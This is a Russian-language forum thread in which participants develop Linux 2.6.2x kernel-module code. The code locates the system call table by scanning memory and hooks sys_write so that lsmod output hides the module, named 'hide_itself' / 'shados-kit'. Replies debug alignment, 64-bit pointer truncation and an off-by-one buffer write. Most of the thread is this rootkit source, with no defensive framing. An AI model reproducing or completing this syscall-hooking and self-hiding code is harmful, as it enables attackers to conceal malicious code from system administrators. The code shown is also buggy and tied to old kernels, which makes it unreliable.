Собственно, пролема в следующем: в версии ядра linux 2.6.22 всеми нами любимый код для поиска таблицы сисколов не работает: Код (Text): /* поиск адреса таблицы системных вызовов */ unsigned long *find_sys_call_tbl(void) { int i; unsigned long *ptr; unsigned long arr[4]; extern int sys_close(int fd); // получаем указатель на конец секции кода ptr=(unsigned long *)((init_mm.end_code + 4) & 0xfffffffc); // начинаем поиск до конца секции данных while((unsigned long)ptr < (unsigned long)init_mm.end_data) { // если нашли адрес sys_close if (*ptr == (unsigned long)((unsigned long *)sys_close)) { for(i=0;i<4;i++) { arr[i]=*(ptr + i); arr[i]=(arr[i] >> 16) & 0x0000ffff; } // действительно ли адрес в таблице if(arr[0] != arr[2] || arr[1] != arr[3]) { sys_call_table = (ptr - __NR_close); break; } } // увеличим указатель ptr++; } // вернем адрес таблицы системных вызовов if(sys_call_table) return sys_call_table; // если не нашли return NULL; } Абсолютно тот же самый код прекрасно чувствует себя с 2.6.21. Те если быть более подробным - модуль ядра прекрасно собирается и даже подгружается, но адрес таблицы не находит и пишет в /var/log/messages что-то типа Nov 10 02:07:31 shados-nb kernel: [ 3418.315534] Pid: 10809, comm: insmod Tainted: P 2.6.22-14-generic #1 В чём может быть проблема? Кто-нибудь сталкивался?
Имхо, быстрее самому отладиться через printk(), чем постить проблему на форум. Плюс к этому. Вот так выравнивать на границу дворда неправильно: Код (Text): // получаем указатель на конец секции кода ptr=(unsigned long *)((init_mm.end_code + 4) & 0xfffffffc); потому что, если end_code уже выровнен на 4, мы неверно инкрементируем его повторно. Правильно в данном случае так Код (Text): // получаем указатель на конец секции кода ptr=(unsigned long *)((init_mm.end_code + 3) & 0xfffffffc); Лично я бы подзенствовал над дебажным выводом здесь Код (Text): if(arr[0] != arr[2] || arr[1] != arr[3]) { printk(KERN_DEBUG, "[ something found at %p ]\n", ptr); sys_call_table = (ptr - __NR_close); break; } Насколько правильно работает код можно будет сказать по кол-ву записей "something found" в логе
А с чего вы взяли что end_code может быть уже выровнен? Никогда с этим проблем не было. По поводу insmod вот полная выдержка из messages: Модуль висит мертвым грузом если быть точнее, собственно, нечего отлаживать. insmod выдаёт вообще insmod: error inserting './test.ko': -1 Operation not permitted, хотя lsmod | grep test выдаёт: test 28016 1
Я ни с чего это не взял, я лишь говорю, что так выравнивать неверно. Впрочем, я думаю макрос вам всё прояснит Код (Text): #define ALIGN(val, x) (((val)+(x)-1)&(~((x)-1))) Хех, ну ессно ваш код не будет работать на 64-битной архитектуре. Он абсолютно не портабельный, куча приведений адресов к unsigned long(32 бита). Даже Код (Text): ptr = /... / & 0xfffffffc); уже обрежет правильный 64-ый указатель. Да и сам алгоритм поиска таблицы системных вызовов у вас полагается на неравество старших вордов 32-ух битных слов. Тоесть берутся старшие word'ы адресов системных обработчиков(в окрестности предполагаемого __NR_close) и сравниваются друг с другом, здесь адреса обработчиков явно будут находится не в одном 64К сегменте хотя бы из-за нулевого дворда под индексом 7. Код (Text): #define __NR_restart_syscall (__NR_SYSCALL_BASE+ 0) #define __NR_exit (__NR_SYSCALL_BASE+ 1) #define __NR_fork (__NR_SYSCALL_BASE+ 2) #define __NR_read (__NR_SYSCALL_BASE+ 3) #define __NR_write (__NR_SYSCALL_BASE+ 4) #define __NR_open (__NR_SYSCALL_BASE+ 5) #define __NR_close (__NR_SYSCALL_BASE+ 6) /* 7 was sys_waitpid */ #define __NR_creat (__NR_SYSCALL_BASE+ 8) Код надо переписывать под 64-битную архитектуру.
Да, верно, это я что-то разошелся. long всегда равен размеру указателя в системе, в отличие от int'a по крайней мере на 64-ех битах от MS. А код я бы переписал так. ShadOS, попробуйте, а то у меня линукса нет. Код (Text): /* void *sys_call_table; */ typedef int (*syscall_t)(void *,...); void* find_sys_call_tbl(void) { #define ALIGN(val,x) (((val)+(x)-1)&(~((x)-1))) //#define SCMB (0xffffff) #define SCMB (0xffff) /* 0xFFFFFFFF80298A20: sys_close() */ #define SCM(x) (((unsigned long)(x))&(~(SCMB))) extern int __FROM_WASM_RU_FORUM__[(sizeof(unsigned long) == sizeof(syscall_t))*2-1]; extern int sys_close(int fd); syscall_t *p = (syscall_t *)ALIGN(init_mm.end_code, sizeof(syscall_t)); while(1) { if( !p || &p[4] < p || &p[4] > (syscall_t *)init_mm.end_data ) return sys_call_table = NULL; if( *p == (syscall_t)sys_close ) if( SCM(p[0]) != SCM(p[2]) || SCM(p[1]) != SCM(p[3]) ) return sys_call_table = (void *)&p[-__NR_close]; p++; } }
Если это кому-то еще интересно, то вот здесь забыты скобки Код (Text): if( (SCM(p[0])) != (SCM(p[2])) || (SCM(p[1])) != (SCM(p[3])) )
Код (Text): #include <linux/module.h> #include <linux/kernel.h> #include <linux/syscalls.h> #include <linux/sched.h> #include <asm/uaccess.h> MODULE_LICENSE ("GPL"); #define MODULE_NAME "hide_itself" ssize_t (*orig_write)(unsigned int, const char __user *, size_t); int* sys_call_tbl; typedef int (*syscall_t)(void *,...); void find_sys_call_tbl(void) { #define SCMB (0xffff) #define SCM(x) (((unsigned long)(x))&(~(SCMB)))\ syscall_t *p = (syscall_t *)ALIGN(init_mm.end_code, sizeof(syscall_t)); while(1) { if((!p) || (&p[4] < p) || (&p[4] > (syscall_t *)init_mm.end_data)) { sys_call_tbl = NULL; break; } if( *p == (syscall_t)sys_close ) if ((SCM(p[0]) != SCM(p[2])) || (SCM(p[1]) != SCM(p[3]))) { sys_call_tbl = (void *)&p[-__NR_close]; break; } p++; } } ssize_t new_write(unsigned int fd, const char __user *buf, size_t count) { char *temp; int ret; if (!strcmp(current->comm, "lsmod")) { temp = (char *)kmalloc(count + 1, GFP_KERNEL); copy_from_user(temp, buf, count); temp[count + 1] = 0; if (strstr(temp, MODULE_NAME) != NULL) { kfree(temp); return count; } } ret = orig_write(fd, buf, count); return ret; } int init_module(void) { find_sys_call_tbl(); printk("shados-kit : sys_call_tbl=%p\n",sys_call_tbl); orig_write = (void *)sys_call_tbl[__NR_write]; sys_call_tbl[__NR_write] = (int)new_write; return 0; } void cleanup_module(void) { sys_call_tbl[__NR_write] = (int)orig_write; } Вот что у меня в конечном итоге получилось. Этот код абсолютно правильно находит адрес таблицы сисколов (проверяется grep sys_call_table /boot/System.map), но ни в какую не желает перехватывать сискол sys_write. Проверенно в 2.6.22, 2.6.23 ядрах. Есть у кого какие-нибудь идеи?
Код (Text): temp[count + 1] = 0 выход за границы нужно Код (Text): temp[count] = 0 до new_write управление не доходит? Oops?
Oops не происходит. Система просто виснет и отвечает только на SysRq, причём не входит ВООБЩЕ ни в одну часть модуля (проверил вклиниванием в каждую строку кода new_write и module_init отладочного вывода). Если убрать строки: Код (Text): orig_write = (void *)sys_call_tbl[__NR_write]; printk("shados-kit I'm here 1!\n"); sys_call_tbl[__NR_write] = (int)new_write; printk("shados-kit I'm here 2!\n"); То всё происходит нормально, отладка идёт в /var/log/messages, адрес таблицы находим правильно.
сам посмотри допустим count = 8 тогда count + 1 = 9 т. е валидны значения temp[0]...temp[8] или temp[0]...temp[count] по поводу comm в task_struct в исходниках написано кстати, машина SMP?